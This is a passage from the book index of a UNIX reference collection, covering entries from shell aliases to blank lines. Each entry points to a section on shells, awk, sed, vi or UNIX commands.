removing (unalias) : Learning the Korn Shell, 3.2.1. Tracked Aliases
setprompt : UNIX Power Tools, 7.11. dirs in Your Prompt: Better than $cwd
shell aliases
Learning the UNIX Operating System, 7.2. Shell Aliases and Functions
UNIX Power Tools, 10.9. Shell Functions
showing : Learning the Korn Shell, 3.2.1. Tracked Aliases
simulated shell functions and : UNIX Power Tools, 10.10. Simulated Bourne Shell Functions and Aliases
for terminals : UNIX Power Tools, 41.11. How termcap and terminfo Describe Terminals
tracked
Learning the Korn Shell, 3.2.1. Tracked Aliases
Learning the Korn Shell, 3.4.2.6. PATH and Tracked Aliases
Learning the Korn Shell, 10.2.3. Types of Global Customization
defining : Learning the Korn Shell, 3.2.1. Tracked Aliases
in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
as protection against Trojan horses
Learning the Korn Shell, 10.3.3. Tracked Aliases
Learning the Korn Shell, 10.3.4. Privileged Mode
showing
Learning the Korn Shell, 3.2.1. Tracked Aliases
Learning the Korn Shell, 10.3.3. Tracked Aliases
using (how to) : Learning the Korn Shell, 3.2. Aliases
with wildcards : UNIX Power Tools, 8.9. Wildcards Inside of Aliases
word vectors and : UNIX Power Tools, 8.12. Which One Will the C Shell Use?
alignment/positioning
centering lines, awk script : UNIX Power Tools, 35.8. Centering Lines in a File
emacs centering commands : UNIX in a Nutshell, 7.2.13. Centering Commands
emacs indentation commands
UNIX in a Nutshell, 7.2.12. Indentation Commands
UNIX in a Nutshell, 7.2.15. Basic Indentation Commands
of graphics, Pic preprocessor for : UNIX in a Nutshell, 16.3.8. Positioning
nroff/troff requests for : UNIX in a Nutshell, 12.5.6. Horizontal Positioning
of output fields : sed & awk, 7.9. Formatted Printing
alphanumeric characters : UNIX Power Tools, 15.5. Matching All "Dot Files" with Wildcards
am capability : UNIX Power Tools, 41.11. How termcap and terminfo Describe Terminals
ampersand : (see &)
anchors
UNIX Power Tools, 26.4. Using Metacharacters in Regular Expressions
UNIX Power Tools, 26.4.1. The Anchor Characters: ^ and $
sed & awk, 3.2. A Line-Up of Characters
sed & awk, 3.2.7. Positional Metacharacters
AND (&&) operator
UNIX Power Tools, 11.9. Running a Series of Commands on a File
UNIX Power Tools, 44.9. Testing Your Success
UNIX Power Tools, 47.4.3.3. Bitwise and Logical Operators
UNIX Power Tools, 48.4.3. Automating Your Own Calendar
sed & awk, 7.8. Relational and Boolean Operators
angle brackets : (see <, >)
anonymous ftp
UNIX Power Tools, 8.18. Here Documents
UNIX Power Tools, 52.7.2.2. FTPMAIL
(see ftp)
ANSI : Learning the Korn Shell, A.4. pdksh
appending
after cursor (a) : Learning the vi Editor, 2.3.2. Appending Text
to end of line (A) : Learning the vi Editor, 2.4. More Ways to Insert Text
to files
Learning the UNIX Operating System, 5.1.1.2. The >> operator
Learning the vi Editor, 5.3.3. Appending to a Saved File
UNIX in a Nutshell, Chapter 2, Reference: ar
UNIX in a Nutshell, Chapter 2, Reference: cat
append command (ex)
UNIX Power Tools, 33.4. Useful ex Commands
UNIX in a Nutshell, Chapter 9, Reference: append
append command (sed) : (see a command (sed))
Apple Macintosh
Learning the Korn Shell, Preface
Learning the Korn Shell, 8. Process Handling
apropos command
Learning the UNIX Operating System, 7.1. Standard UNIX Documentation
UNIX Power Tools, 50.2. The apropos Command
UNIX in a Nutshell, Chapter 2, Reference: apropos
alternatives to
UNIX Power Tools, 50.3. apropos on Systems Without apropos
UNIX Power Tools, 50.6. Searching Online Manual Pages
UNIX Power Tools, 50.9. Reading a Permuted Index
examples : UNIX Power Tools, 50.2. The apropos Command
man -k compared to : UNIX Power Tools, 50.2. The apropos Command
support for
UNIX Power Tools, 50.2. The apropos Command
UNIX Power Tools, 50.3. apropos on Systems Without apropos
whatis compared to : UNIX Power Tools, 50.4. whatis: One-Line Command Summaries
ar command : UNIX in a Nutshell, Chapter 2, Reference: ar
archive file (library) extension : UNIX Power Tools, 1.17. Filename Extensions
archives
UNIX Power Tools, 19.1. Packing Up and Moving
UNIX in a Nutshell, Chapter 2, Reference: ar
copying : UNIX in a Nutshell, Chapter 2, Reference: cpio
copying to another directory : UNIX Power Tools, 19.9. A System V Tape Archiver: cpio
cpio : UNIX Power Tools, 19.9. A System V Tape Archiver: cpio
extracting files from : UNIX Power Tools, 19.7. Extracting Files from a Compressed Archive
link editing of : UNIX in a Nutshell, Chapter 2, Reference: lorder
RCS and SCCS : UNIX Power Tools, 20.12. Protecting Files with SCCS or RCS
removing information from : UNIX in a Nutshell, Chapter 2, Reference: strip
reorganizing : UNIX in a Nutshell, Chapter 2, Reference: tsort
shell : (see shell archives)
System V archiver : UNIX Power Tools, 19.9. A System V Tape Archiver: cpio
tar archives
UNIX Power Tools, 19.5. Using tar to Create and Unpack Archives
UNIX Power Tools, 19.6. GNU tar Sampler
UNIX Power Tools, 20.8. Telling tar Which Files to Exclude or Include
(see also tar command)
unarchiving : UNIX Power Tools, 19.3. unshar: Unarchive a Shell Archive
ARGC variable : sed & awk, 8.6. System Variables That Are Arrays
ARGI variable (tawk) : sed & awk, 11.3.2.1. Tawk language extensions
ARGIND variable (gawk) : sed & awk, 11.2.3.8. Additional variables
args command (ex) : UNIX in a Nutshell, Chapter 9, Reference: args
arguments : (see also command line, arguments)
filenames in : UNIX Power Tools, 8.16. Quoting Handles Special Characters in Filenames
grabbing from previous command lines : UNIX Power Tools, 11.4. My Favorite Is !:n*
iterating shell variables over : UNIX Power Tools, 46.7. Quoting and Command-Line Parameters
maximum allowable : UNIX Power Tools, 9.21. Handle Too-Long Command Lines with xargs
passing
UNIX Power Tools, 1.5. Anyone Can Program the Shell
UNIX Power Tools, 45.5. A File That Shows Itself... and What #! Does
UNIX Power Tools, 46.7. Quoting and Command-Line Parameters
for shell variables : UNIX Power Tools, 8.14.4. Multiline Quoting
"Arguments too long" error
UNIX Power Tools, 9.20. Too Many Files for the Command Line
UNIX Power Tools, 9.23. Workaround for "Arguments too long" Error
UNIX Power Tools, 50.12. Common UNIX Error Messages
argv shell variable
UNIX Power Tools, 46.7. Quoting and Command-Line Parameters
UNIX Power Tools, 47.4.1. Variables
UNIX in a Nutshell, 5.3.3. Predefined Shell Variables
ARGV variable : sed & awk, 8.6. System Variables That Are Arrays
ARGI variable with (tawk) : sed & awk, 11.3.2.1. Tawk language extensions
ARGIND variable with (gawk) : sed & awk, 11.2.3.8. Additional variables
arithmetic expressions
Learning the Korn Shell, 6.1.3. getopts
Learning the Korn Shell, 6.2. Integer Variables and Arithmetic
Learning the Korn Shell, 6.3.3. String Formatting Options
Learning the Korn Shell, A.2. The IEEE 1003.2 POSIX Shell Standard
bases of numbers : Learning the Korn Shell, 6.2. Integer Variables and Arithmetic
bash syntax : Learning the Korn Shell, A.5. bash
condition tests : (see condition tests, arithmetic)
csh shell : UNIX in a Nutshell, 5.4. Expressions
features in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
floating point (real number) : Learning the Korn Shell, A.7. The Future of the Korn Shell
ksh shell : UNIX in a Nutshell, 4.4. Arithmetic Expressions
MKS Toolkit shell syntax : Learning the Korn Shell, A.6. Workalikes on PC Platforms
operators : Learning the Korn Shell, 6.2. Integer Variables and Arithmetic
assignment form : Learning the Korn Shell, 6.2. Integer Variables and Arithmetic
truth values of relational : Learning the Korn Shell, 6.2. Integer Variables and Arithmetic
order of evaluation in command-line processing : Learning the Korn Shell, 7.3. Command-line Processing
arithmetic functions
sed & awk, 9.1. Arithmetic Functions
sed & awk, 11.1.10. Functions
arithmetic operators
UNIX Power Tools, 45.28. Quick Reference: expr
UNIX Power Tools, 47.4.3.2. Arithmetic Operators
sed & awk, 7.6. Expressions
awk : sed & awk, 7.6. Expressions
csh : UNIX in a Nutshell, 5.4.1.2. Arithmetic Operators
arrays
Learning the Korn Shell, 6.3. Arrays
Learning the Korn Shell, 6.3.3. String Formatting Options
Learning the Korn Shell, A.1. The Bourne Shell
Learning the Korn Shell, A.4. pdksh
UNIX Power Tools, 45.34. Arrays in the Bourne Shell
sed & awk, 8.4. Arrays
sed & awk, 11.1.8. Arrays
sed & awk, B.2.5.4. Arrays
(see also under specific array names)
# (size of) : Learning the Korn Shell, 6.3. Arrays
advantages : UNIX Power Tools, 47.5. Using C Shell Arrays
assigning values to
Learning the Korn Shell, 6.3. Arrays
Learning the Korn Shell, 6.3.3. String Formatting Options
in awk : UNIX in a Nutshell, 11.6. Variables and Array Assignments
associative : Learning the Korn Shell, A.7. The Future of the Korn Shell
awk utility and
UNIX Power Tools, 33.11.5. Variables and Array Assignments
UNIX in a Nutshell, 11.6. Variables and Array Assignments
in Bourne shells : UNIX Power Tools, 45.34. Arrays in the Bourne Shell
in C shells : UNIX Power Tools, 47.5. Using C Shell Arrays
deleting elements of
sed & awk, 8.4.6. Deleting Elements of an Array
sed & awk, 11.1.8. Arrays
sed & awk, 11.2.1.1. Deleting all elements of an array
directory stacks in : UNIX Power Tools, 47.5. Using C Shell Arrays
extracting values from : Learning the Korn Shell, 6.3. Arrays
features in next ksh release : Learning the Korn Shell, A.7. The Future of the Korn Shell
initializing
Learning the Korn Shell, 6.3. Arrays
Learning the Korn Shell, 6.3.3. String Formatting Options
in Korn shell : UNIX in a Nutshell, 4.3.4. Arrays
multidimensional
sed & awk, 8.5.1. Multidimensional Arrays
sed & awk, 11.3.2.1. Tawk language extensions
parsing strings into elements
sed & awk, 8.4.4. Using split() to Create Arrays
sed & awk, 11.2.1.2. Obtaining individual characters
preserving whitespace in : Learning the Korn Shell, 6.3. Arrays
setting : UNIX Power Tools, 47.5. Using C Shell Arrays
simulating using eval : UNIX Power Tools, 45.34. Arrays in the Bourne Shell
sorting elements in (tawk) : sed & awk, 11.3.2.1. Tawk language extensions
splitting : sed & awk, 11.2.1.2. Obtaining individual characters
system variables that are : sed & awk, 8.6. System Variables That Are Arrays
testing for membership in : sed & awk, 8.4.2. Testing for Membership in an Array
value of entire : Learning the Korn Shell, 6.3. Arrays
word lists compared to : UNIX Power Tools, 47.5. Using C Shell Arrays
arrow keys, mapping in vi : UNIX Power Tools, 31.2.2. Text-Input Mode Maps
as command : UNIX in a Nutshell, Chapter 2, Reference: as
ASCII characters
Learning the Korn Shell, 1.6.2. Filenames and Wildcards
UNIX in a Nutshell, Chapter 2, Reference: lptest
UNIX in a Nutshell, 21. ASCII Character Set
decimal conversion : UNIX Power Tools, 45.11. The Multipurpose jot Command
in escape sequences : UNIX Power Tools, 5.8. Terminal Escape Sequences
getting values : UNIX Power Tools, 51.3. ASCII Characters: Listing and Getting Values
listing : UNIX Power Tools, 51.3. ASCII Characters: Listing and Getting Values
in shell programs : UNIX Power Tools, 1.5. Anyone Can Program the Shell
ascii command (ftp) : Learning the UNIX Operating System, 4.4.2.4. ftp
ASCII files
UNIX Power Tools, 1.17. Filename Extensions
UNIX Power Tools, 51.3. ASCII Characters: Listing and Getting Values
ascii script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
ASCII terminals : UNIX Power Tools, 42.1. Making Sense Out of the Terminal Mess
assembly language : Learning the Korn Shell, 5.1.3.2. About C Compilers
as command : UNIX in a Nutshell, Chapter 2, Reference: as
cc command : UNIX in a Nutshell, Chapter 2, Reference: cc
Assembly language code extension : UNIX Power Tools, 1.17. Filename Extensions
assign command (dbx) : UNIX in a Nutshell, Chapter 20, Reference: assign
assigning input to variables : sed & awk, 10.1.2. Assigning the Input to a Variable
assignment operators
UNIX Power Tools, 47.4.3.1. Assignment Operators
sed & awk, 7.6. Expressions
UNIX in a Nutshell, 5.4.1.1. Assignment Operators
associative arrays
UNIX Power Tools, 16.24. Counting Files by Types
sed & awk, 8.4.1. Associative Arrays
asterisk : (see *)
at command
UNIX Power Tools, 40.1. Off-Peak Job Submission
UNIX Power Tools, 40.3. The at Command
UNIX in a Nutshell, Chapter 2, Reference: at
-c option : UNIX Power Tools, 40.4. Choosing the Shell Run (We Hope) by at
-l option
UNIX Power Tools, 40.5. Avoiding Other at and cron Jobs
UNIX Power Tools, 40.9. Checking and Removing Jobs
-r option : UNIX Power Tools, 40.9. Checking and Removing Jobs
-s option : UNIX Power Tools, 40.4. Choosing the Shell Run (We Hope) by at
at jobs
adding calendar information to : UNIX Power Tools, 48.4.3. Automating Your Own Calendar
automatically restarting : UNIX Power Tools, 40.8. Automatically Restarting at Jobs
making quiet : UNIX Power Tools, 40.7. Making Your at Jobs Quiet
at sign : (see @)
AT variable : UNIX Power Tools, 2.10. Gotchas in set prompt Test
AT&T
Learning the Korn Shell, 1.3.1. The Korn Shell
Learning the Korn Shell, A.7. The Future of the Korn Shell
atan2 command (awk)
UNIX Power Tools, 33.11.7. Alphabetical Summary of Commands
UNIX in a Nutshell, Chapter 11, Reference: atan2
atq command
UNIX Power Tools, 40.5. Avoiding Other at and cron Jobs
UNIX in a Nutshell, Chapter 2, Reference: atq
reporting jobs in queue : UNIX Power Tools, 40.9. Checking and Removing Jobs
atrm command
UNIX Power Tools, 40.9. Checking and Removing Jobs
UNIX in a Nutshell, Chapter 2, Reference: atrm
autoload command
Learning the Korn Shell, 4.1.1.1. Autoloaded functions
Learning the Korn Shell, 6.3.5. Function Options
Learning the Korn Shell, 10.2.3. Types of Global Customization
UNIX in a Nutshell, Chapter 4, Reference: autoload
automargin capability : UNIX Power Tools, 41.11. How termcap and terminfo Describe Terminals
automatic
directory setup : UNIX Power Tools, 14.14. Automatic Setup When You Enter/Exit a Directory
edits : sed & awk, 4.4.4. Edits To Go
file cleanup : UNIX Power Tools, 3.4. Automatic File Cleanup
history file (csh) : UNIX Power Tools, 11.11.2. C Shell
passwd command use : UNIX Power Tools, 9.26.2. Automating /bin/passwd
setting aliases : UNIX Power Tools, 10.2.3. Setting Aliases Automatically, Unsetting Aliases
temporary files : UNIX Power Tools, 9.18.2. Automatic Temporary Files with !
unique filename generation : UNIX Power Tools, 16.16. Picking a Unique Filename Automatically
updating of file printouts : UNIX Power Tools, 21.9. Keep File Printouts Up-to-Date Automatically with make
autonice time : UNIX Power Tools, 39.11. Changing a Job's Priority Under BSD UNIX
autowrap
Learning the vi Editor, 2.1. vi Commands
Learning the vi Editor, 2.2.3. Movement Within a Line
Learning the vi Editor, 2.3.8.1. Repeat
Learning the vi Editor, 7.1.4. Some Useful Options
UNIX Power Tools, 42.5. Checklist: Screen Size Messed Up?
autowrite : UNIX Power Tools, 30.23. Safer vi Filter-Throughs
job control and : UNIX Power Tools, 12.4. Job Control and autowrite: Real Time Savers!
averages of command runtimes : UNIX Power Tools, 39.4. Average Command Runtimes with runtime
awf text formatter
UNIX Power Tools, 43.17. Don't Have nroff? Try gnroff or awf
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
awk scripting language
Learning the Korn Shell, Summary of Korn Shell Features
Learning the Korn Shell, 4.3.2. Patterns and Regular Expressions
Learning the Korn Shell, 4.3.2.1. Regular expression basics
Learning the Korn Shell, 4.3.2.2. Korn shell versus awk/egrep regular expressions
Learning the Korn Shell, 7.3.1. Quoting
Learning the Korn Shell, 10.1. Installing the Korn Shell as the Standard Shell
Learning the Korn Shell, A.6. Workalikes on PC Platforms
UNIX Power Tools, 16.24. Counting Files by Types
UNIX Power Tools, 26.4.11. Extended Regular Expressions
UNIX Power Tools, 33.11. Quick Reference: awk
UNIX Power Tools, 33.11.6. Group Listing of awk Commands
UNIX Power Tools, 50.12. Common UNIX Error Messages
sed & awk, 1.3. A Pattern-Matching Programming Language
sed & awk, 2.1. Awk, by Sed and Grep, out of Ed
sed & awk, 2.4. Using awk
sed & awk, 11.1. Original awk
sed & awk, B.3. Command Summary for awk
UNIX in a Nutshell, Chapter 2, Reference: awk
UNIX in a Nutshell, 11. The Awk Scripting Language
UNIX in a Nutshell, 11.7. Group Listing of Awk Commands
(see also nawk scripting language)
addup script using : UNIX Power Tools, 49.7. Total a Column with addup
advantages/disadvantages : UNIX Power Tools, 45.30.2. Using echo with awk, colrm, or cut
arrays
UNIX Power Tools, 33.11.5. Variables and Array Assignments
UNIX Power Tools, 45.34. Arrays in the Bourne Shell
UNIX in a Nutshell, 11.6. Variables and Array Assignments
(see also arrays)
centering lines : UNIX Power Tools, 35.8. Centering Lines in a File
colrm compared to : UNIX Power Tools, 45.30.2. Using echo with awk, colrm, or cut
columns
UNIX Power Tools, 27.17. Finding a Character in a Column
UNIX Power Tools, 35.22. Straightening Jagged Columns
commands
UNIX Power Tools, 33.11.6. Group Listing of awk Commands
sed & awk, 5.1. About the Syntax of sed Commands
sed & awk, B.3. Command Summary for awk
UNIX in a Nutshell, 11.7. Group Listing of Awk Commands
(see also under specific command)
command-line syntax
sed & awk, 2.2. Command-Line Syntax
sed & awk, B.1. Command-Line Syntax
cut compared to : UNIX Power Tools, 45.30.2. Using echo with awk, colrm, or cut
documentation for : sed & awk, Other Sources of Information About sed and awk
editing scripts : UNIX Power Tools, 1.6. Power Tools for Editing
errors and error messages
UNIX Power Tools, 46.2. Quoting Trouble? Think, Then Use echo
UNIX Power Tools, 50.12. Common UNIX Error Messages
sed & awk, 2.4.2. Error Messages
escape sequences : sed & awk, B.2.5.2. Escape sequences
eval compared to : UNIX Power Tools, 44.14. Putting awk, sed, etc., Inside Shell Scripts
examples : UNIX Power Tools, 44.14. Putting awk, sed, etc., Inside Shell Scripts
extensions to : sed & awk, 11.2.1. Common Extensions
-f option
UNIX Power Tools, 45.3. Don't Need a Shell for Your Script? Don't Use One
UNIX Power Tools, 45.4. Fun with #!
functions
sed & awk, 9.1.1. Trigonometric Functions
sed & awk, 9.2. String Functions
sed & awk, 11.1.10. Functions
invoking with #!
sed & awk, 10.9. Invoking awk Using the #! Syntax
sed & awk, B.1.1. Shell Wrapper for Invoking awk
limitations to : sed & awk, 10.8. Limitations
obtaining : sed & awk, Availability of sed and awk
operators
UNIX Power Tools, 33.11.4. Operators
sed & awk, 7.6. Expressions
sed & awk, 7.8. Relational and Boolean Operators
sed & awk, B.2.5.6. Operators
UNIX in a Nutshell, 11.5. Operators
options : sed & awk, 2.4.3. Summary of Options
patterns and procedures : UNIX Power Tools, 33.11.2. Patterns and Procedures
POSIX standards for : sed & awk, 7. Writing Scripts for awk
programming model : sed & awk, 7.3. Awk's Programming Model
quick reference : sed & awk, B. Quick Reference for awk
regular expression metacharacters : sed & awk, B.2.4. Regular Expressions
with sed : sed & awk, 2.5. Using sed and awk Together
system variables
UNIX Power Tools, 33.11.3. awk System Variables
UNIX Power Tools, 33.11.5. Variables and Array Assignments
sed & awk, 7.7. System Variables
sed & awk, 11.1.11. Built-In Variables
sed & awk, B.2.5.5. System variables
UNIX in a Nutshell, 11.4. Awk System Variables
variable and array assignment
UNIX Power Tools, 33.11.5. Variables and Array Assignments
UNIX in a Nutshell, 11.6. Variables and Array Assignments
tbl, nroff as alternatives : UNIX Power Tools, 48.12. Using index with a Filter
user-defined (awk) : sed & awk, 9.3. Writing Your Own Functions
using instead of cut : Learning the Korn Shell, 4.4. Command Substitution
using instead of pr -n : Learning the Korn Shell, 9.2.3.3. Breakpoints
versions of
UNIX Power Tools, 33.12. Versions of awk
sed & awk, Availability of sed and awk
sed & awk, 11.2.2. Bell Labs awk
writing scripts in : sed & awk, 7. Writing Scripts for awk
"awk\: bailing out near line #" error message : UNIX Power Tools, 50.12. Common UNIX Error Messages
AWKPATH variable (gawk) : sed & awk, 11.2.3.2. An awk program search path

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: B

b command (sed)
sed & awk, 6.4.1. Branching
UNIX in a Nutshell, Chapter 10, Reference: b
\B escape sequence : sed & awk, 11.2.3.4. Extended regular expressions
background processes/jobs
Learning the Korn Shell, 1.8. Background Jobs
Learning the Korn Shell, 4.1. Shell Scripts and Functions
Learning the Korn Shell, 8. Process Handling
Learning the Korn Shell, 8.1. Process IDs and Job Numbers
Learning the UNIX Operating System, 6. Multitasking
UNIX Power Tools, 1.26. What a Multiuser System Can Do for You
UNIX Power Tools, 1.27. How Background Processing Works
UNIX Power Tools, 1.28. Some Gotchas with Background Processing
UNIX Power Tools, 3.1. Running Commands When You Log Out
UNIX Power Tools, 3.4. Automatic File Cleanup
UNIX Power Tools, 12.1.1. Foreground and Background
UNIX Power Tools, 38.3. Managing Processes: Overall Concepts
UNIX Power Tools, 38.17. Automatically Kill Background Processes on Logout in csh
UNIX in a Nutshell, Chapter 2, Reference: wait
! variable (process ID of most recent) : Learning the Korn Shell, 8.4.2. Process ID Variables and Temporary Files
cancelling/killing
Learning the UNIX Operating System, 6.3. Cancelling a Process
UNIX Power Tools, 38.17. Automatically Kill Background Processes on Logout in csh
checking on processes : Learning the UNIX Operating System, 6.2. Checking on a Process
creating : Learning the Korn Shell, 8.2. Job Control
exit status of : UNIX Power Tools, 44.7. Exit Status of UNIX Processes
lack of in MS-DOS : Learning the Korn Shell, A.6. Workalikes on PC Platforms
output/error from
Learning the Korn Shell, 7.1.2. File Descriptors
UNIX Power Tools, 12.7. Stop Background Output with stty tostop
preventing continuing after logout : UNIX Power Tools, 38.12. Killing All Your Processes
with two-way pipes : Learning the Korn Shell, 8.5.4. Coroutines with Two-way Pipes
watching : UNIX Power Tools, 40.2. Waiting a Little While: sleep
backquotes : (see `)
backreferences : (see numbered replacement strings)
backslash : (see \)
BACKSPACE key
Learning the UNIX Operating System, 1.1.7. Correcting a Mistake
Learning the UNIX Operating System, 3.6. Customizing Your Account
UNIX Power Tools, 41.2.2. Handling Most Characters
UNIX Power Tools, 51.6. Cleaning script Files
backspacing over shell prompts : UNIX Power Tools, 41.5. Why Some Systems Backspace over Prompts
deleting on command line : UNIX Power Tools, 9.2. Fix a Line Faster with Line-Kill and Word-Erase
erase character : UNIX Power Tools, 51.6. Cleaning script Files
location for : UNIX Power Tools, 2.13. A .cshrc.$HOST File for Per Host Setup
backups : UNIX Power Tools, 20.1. tar in a Nutshell
advantages : UNIX Power Tools, 20.2. Make Your Own Backups
bkedit script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
of directories : UNIX Power Tools, 20.8.1. Including Other Directories
Emacs auto-save, backup files : UNIX Power Tools, 32.4. Backup and Auto-Save Files
RCS and SCCS : UNIX Power Tools, 20.12. Protecting Files with SCCS or RCS
on remote tape drives : UNIX Power Tools, 20.6. Writing a Tape Drive on a Remote Machine
restoring files from : UNIX Power Tools, 20.4. Restoring Files from Tape with tar
timestamps and : UNIX Power Tools, 20.7. Creating a Timestamp File for Selective Backups
Backus-Naur Form (BNF) : Learning the Korn Shell, A.4. pdksh
"bad magic number" error message : UNIX Power Tools, 50.12. Common UNIX Error Messages
Baldwin, Robert : UNIX Power Tools, 22.17. Ways of Improving the Security of crypt
bang : (see !)
banner command
UNIX Power Tools, 43.11. Big Letters: banner
UNIX in a Nutshell, Chapter 2, Reference: banner
banners, printing : UNIX Power Tools, 43.11. Big Letters: banner
basename program
Learning the Korn Shell, 4.3.3. Pattern-matching Operators
UNIX Power Tools, 45.18. Using basename and dirname
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX in a Nutshell, Chapter 2, Reference: basename
(see also dirname command)
bugs in : UNIX Power Tools, 45.18.1. Introduction to basename and dirname
examples
UNIX Power Tools, 45.13. Save Disk Space and Programming: Multiple Names for a Program
UNIX Power Tools, 45.18. Using basename and dirname
loops using : UNIX Power Tools, 45.18.2. Use with Loops
bash (Bourne-again shell)
Learning the Korn Shell, 1.4. Getting the Korn Shell
Learning the Korn Shell, A. Related Shells
Learning the Korn Shell, A.5. bash
UNIX Power Tools, 1.8. There Are Many Shells
UNIX Power Tools, 8.2. Introduction to bash
UNIX Power Tools, 8.17. verbose and echo Variables Show Quoting
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
UNIX Power Tools, 52.5.3.5. Installing Everything Using the Defaults
(see also sh (Bourne shell))
alias facility : UNIX Power Tools, 10.2. Aliases for Common Commands
aliases in : UNIX Power Tools, 10.4. Aliases in ksh and bash
.bashrc file : UNIX Power Tools, 2.2.4. bash
C shell compared to : UNIX Power Tools, 47.1. Why Not?
case statements : UNIX Power Tools, 2.12. Automatic Setups for Different Terminals
command history : (see command history)
echo used in : UNIX Power Tools, 46.10. A Portable echo Command
evaluating command line : UNIX Power Tools, 8.11. Which One Will bash Use?
fc command : UNIX Power Tools, 11.14.2. In ksh and bash: fc
history file : UNIX Power Tools, 11.11.1. bash and ksh
obtaining from Internet : Learning the Korn Shell, A.5. bash
octal character strings : UNIX Power Tools, 7.8. Highlighting in Shell Prompts
passing command history to : UNIX Power Tools, 11.12. Pass History to Another Shell
pre-prompt commands : UNIX Power Tools, 7.13. Pre-Prompt Commands in bash
process substitution : UNIX Power Tools, 9.18.1. bash Process Substitution
prompt setting
UNIX Power Tools, 7.4. Faster Prompt Setting with Built-Ins
UNIX Power Tools, 7.5. Multiline Shell Prompts
UNIX Power Tools, 7.9. Show Subshell Level with $SHLVL
speeding up : UNIX Power Tools, 2.11. Faster ksh and bash Startup with $- Test
string editing in
UNIX Power Tools, 9.7. String Editing in ksh and bash
UNIX Power Tools, 45.12. Parameter Substitution
basic regular expressions (BREs) : sed & awk, 3.2.4.3. POSIX character class additions
batch command
UNIX Power Tools, 40.1. Off-Peak Job Submission
UNIX Power Tools, 40.6. System V.4 Batch Queues
UNIX in a Nutshell, Chapter 2, Reference: batch
batch editing
UNIX Power Tools, 33. Batch Editing
UNIX Power Tools, 33.1. Why Line Editors Aren't Dinosaurs
awk for : (see awk scripting language)
diff command : UNIX Power Tools, 33.6. Change Many Files by Editing Just One
ex scripting : UNIX Power Tools, 33.3. Line Addressing
file size limits : UNIX Power Tools, 33.8. Batch Editing Gotcha: Editors Bomb on Big Files
patch program : UNIX Power Tools, 33.9. patch: Generalized Updating of Files that Differ
qsubst program : UNIX Power Tools, 33.10. Quick Globals from the Command Line with qsubst
sed for : (see sed)
batch execution : UNIX Power Tools, 40.6. System V.4 Batch Queues
at specified date/time
UNIX in a Nutshell, Chapter 2, Reference: at
UNIX in a Nutshell, Chapter 2, Reference: crontab
immediate : UNIX in a Nutshell, Chapter 2, Reference: batch
printing queued jobs : UNIX in a Nutshell, Chapter 2, Reference: atq
remove queued jobs : UNIX in a Nutshell, Chapter 2, Reference: atrm
batch queues : UNIX Power Tools, 40.6. System V.4 Batch Queues
baud rate : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
bc command
Learning the Korn Shell, 8.5.4. Coroutines with Two-way Pipes
UNIX Power Tools, 49.1. bc: Simple Math at the Shell Prompt
UNIX in a Nutshell, Chapter 2, Reference: bc
bdiff command
UNIX Power Tools, 28.7. diff for Very Long Files: bdiff
UNIX in a Nutshell, Chapter 2, Reference: bdiff
BEGIN pattern
sed & awk, 7.2. Hello, World
sed & awk, 11.1.6. Control Flow
command-line parameters and : sed & awk, 7.10. Passing Parameters Into a Script
BEGINFILE procedure (tawk) : sed & awk, 11.3.2.1. Tawk language extensions
beginning of line : (see ^ (circumflex))
beginning of word : (see \<, \> escape sequences)
behead script
UNIX Power Tools, 35.5. Remove Mail/News Headers with behead
UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
Bell Labs awk : sed & awk, 11.2.2. Bell Labs awk
Berkeley printing commands : UNIX Power Tools, 43.2.2. Berkeley Printing Commands
Berkeley UNIX : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
bfs command : UNIX in a Nutshell, Chapter 2, Reference: bfs
bg command
Learning the Korn Shell, 8.2. Job Control
Learning the Korn Shell, 8.2.2. Suspending a Job
Learning the Korn Shell, A.1. The Bourne Shell
Learning the UNIX Operating System, 6.1. Running a Command in the Background
UNIX Power Tools, 12.1.1. Foreground and Background
UNIX in a Nutshell, Chapter 4, Reference: bg
UNIX in a Nutshell, Chapter 5, Reference: bg
(see also background processes/jobs)
biff : Learning the Korn Shell, 3.4.2.2. Mail Variables
big environment, effects of : UNIX Power Tools, 39.8. A Big Environment Can Slow You Down
/bin directory
Learning the Korn Shell, 3.4.2.5. Command Search Path
Learning the Korn Shell, 10.3.2. A System Break-in Scenario
UNIX Power Tools, 4.2. A bin Directory for Your Programs and Scripts
/bin/time utility
UNIX Power Tools, 39.2. Timing Programs
UNIX Power Tools, 39.5. Why Is the System So Slow?
programs in : UNIX Power Tools, 1.10. Internal and External Commands
in search paths : UNIX Power Tools, 44.3.4. Shell Search Paths
binary command (ftp) : Learning the UNIX Operating System, 4.4.2.4. ftp
binary data, archiving : UNIX Power Tools, 19.5. Using tar to Create and Unpack Archives
binary files, searching : UNIX Power Tools, 27.19. Finding Words Inside Binary Files
bit bucket
UNIX Power Tools, 13.15. What to Do with a Full Bit Bucket :-)
UNIX Power Tools, 24.2. Save Space with Bit Bucket Log Files and Mailboxes
bit rate : UNIX Power Tools, 41.2.1. How We Made It This Far (Back?)
BITFTP
Learning the Korn Shell, C.3. BITFTP
sed & awk, BITFTP
bitmap files : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
with pbmplus : UNIX Power Tools, 52.7.1. Alternative Media
bitwise operators
UNIX Power Tools, 47.4.3.3. Bitwise and Logical Operators
UNIX in a Nutshell, 5.4.1.3. Bitwise and Logical Operators
bkedit script : UNIX Power Tools, 52.4. Quick Descriptions of What's on the Disc
examples
UNIX Power Tools, 44.8. Test Exit Status with the if Statement
UNIX Power Tools, 44.11. Set Exit Status of a Shell (Script)
UNIX Power Tools, 45.12. Parameter Substitution
blank lines : (see newline characters; white space)
